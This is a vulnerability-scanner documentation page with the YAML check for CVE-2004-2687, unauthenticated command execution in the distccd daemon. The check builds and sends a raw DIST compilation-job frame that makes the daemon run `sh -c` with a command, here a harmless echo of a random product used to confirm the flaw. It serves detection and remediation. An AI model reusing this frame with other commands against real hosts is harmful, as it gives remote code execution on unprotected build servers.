DistCC — 1 vulnerability check
noctis ships 1 vulnerability check for DistCC, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
DistCC daemon unauthenticated command execution
| CVE | CVE-2004-2687 |
|---|---|
| Severity | critical · CVSS 9.3 |
| Category | rce — Remote code execution |
| Services | distccd, distcc |
| Detection | script, tcp_connect, match · highest QoD 97 |
| Feed | tests/vulnerabilities/distcc/CVE-2004-2687.yaml |
The distccd daemon executed an arbitrary command sent as a compilation job without any authorization check. A shell arithmetic expansion with per-run random operands was evaluated on the target and its result came back in the job's stdout, confirming unauthenticated remote code execution (CVE-2004-2687).
How noctis detects it
- Parses / computes the next value with a Rhai script
- Raw TCP (TLS on HTTPS), sent verbatim:
{{job.req}} - Parses / computes the next value with a Rhai script
- Checks
check.executedfor^true$→ finding QoD 97: DistCC daemon unauthenticated command execution (CVE-2004-2687)
References:
- https://nvd.nist.gov/vuln/detail/CVE-2004-2687
- https://distcc.github.io/security.html
- https://github.com/projectdiscovery/nuclei-templates/blob/main/network/cves/2004/CVE-2004-2687.yaml
Feed source — tests/vulnerabilities/distcc/CVE-2004-2687.yaml
# DistCC daemon — unauthenticated remote command execution (CVE-2004-2687).
#
# distccd 2.x (as shipped with XCode 1.5 and many Linux distributions), when it
# is not restricted with --allow, runs whatever "compiler" command line a client
# sends in a compilation job — argv[0] is not checked. A client can therefore ask
# it to run `sh -c '<anything>'` and gets the command's stdout back in the job's
# SOUT section.
#
# Ported from OpenVAS NVT 2012/gb_distcc_cve_2004_2687.nasl (GPL-2.0-only,
# OID 1.3.6.1.4.1.25623.1.0.103553). Same request shape as the NASL:
#
# DIST00000001 ARGC00000008
# ARGV sh | -c | <command> | # | -c | main.c | -o | main.o
# DOTI <len> <fake preprocessed source>
#
# Every field is a 4-char token followed by an 8-hex-digit length/value, all
# ASCII, so the frame goes out verbatim through tcp_connect `send:`.
#
# Benign proof instead of the NASL's `id`: the command is `echo <marker>$((A*B))`
# for a random marker and two random integers generated by this run. Only a
# shell that actually ran our command can return `<marker><A*B>` — the product
# never appears in the request, so an echoing or logging service cannot produce
# it. Nothing is written, no process lingers.
#
# Better than the NASL/Nuclei: they match `uid=[0-9]+.*gid=` anywhere in the
# reply (any banner carrying that text would match) and hard-code port 3632;
# this feed keys on a per-run computed value and runs on every port the service
# scan reports as distccd.
uid: 68fdb643-2ff7-43a6-8cf2-aec7aa3708ea
name: "DistCC daemon unauthenticated command execution (CVE-2004-2687)"
description: |
The distccd daemon executed an arbitrary command sent as a compilation job
without any authorization check. A shell arithmetic expansion with per-run
random operands was evaluated on the target and its result came back in the
job's stdout, confirming unauthenticated remote code execution
(CVE-2004-2687).
cves: [CVE-2004-2687]
cvss: 9.3
severity: critical
category: rce
confidence_base: 0.30
tags: [distcc, distccd, rce, command-execution, unauthenticated, intrusive]
services: [distccd, distcc]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2004-2687"
- "https://distcc.github.io/security.html"
- "https://github.com/projectdiscovery/nuclei-templates/blob/main/network/cves/2004/CVE-2004-2687.yaml"
steps:
# ── Build the compilation-job frame around a benign, per-run command ───────
# req : the full DIST request (ASCII)
# token : `<marker><A*B>` — what the shell prints after evaluating `$((A*B))`
- id: build-job
action: script
store_as: job
code: |
fn tok(name, s) {
let h = "00000000" + hex(s.len()).sub_string(2);
name + h.sub_string(h.len() - 8) + s
}
let marker = "noctis" + rand_hex(4);
let a = rand_int(10000, 99999);
let b = rand_int(10000, 99999);
let cmd = "echo " + marker + "$((" + a.to_string() + "*" + b.to_string() + "))";
let src = rand_str(10);
let req = "DIST00000001" + "ARGC00000008"
+ tok("ARGV", "sh") + tok("ARGV", "-c") + tok("ARGV", cmd)
+ tok("ARGV", "#") + tok("ARGV", "-c") + tok("ARGV", "main.c")
+ tok("ARGV", "-o") + tok("ARGV", "main.o")
+ tok("DOTI", src);
#{ req: req, token: marker + (a * b).to_string() }
# ── Submit the job; distccd replies DONE/STAT/SERR/SOUT/DOTO and closes ────
- id: submit-job
action: tcp_connect
port: "{{port}}"
send: "{{job.req}}"
timeout_secs: 10
store_as: resp
# ── Did our command run? (the computed token is in the reply) ─────────────
- id: evaluate
action: script
store_as: check
code: |
let hay = if resp.connected == true && type_of(resp.banner) == "string" { resp.banner } else { "" };
#{ executed: stridx(hay, job.token) >= 0 }
- id: confirm
action: match
source: check.executed
pattern: "^true$"
on_match:
finding:
title: "DistCC daemon unauthenticated command execution (CVE-2004-2687)"
description: "distccd ran a shell command submitted as a compilation job without any authorization check: a shell arithmetic expansion with random operands was evaluated on the target and its result returned in the job output."
remediation: "Restrict distccd to trusted build hosts with --allow (and a firewall on TCP/3632), or upgrade to distcc 3.2rc1+ which only runs whitelisted compilers."
confidence_delta: 0.65
qod: 97
evidence: "Job `sh -c 'echo <marker>$((A*B))'` returned the evaluated value {{job.token}}; reply: {{resp.banner}}"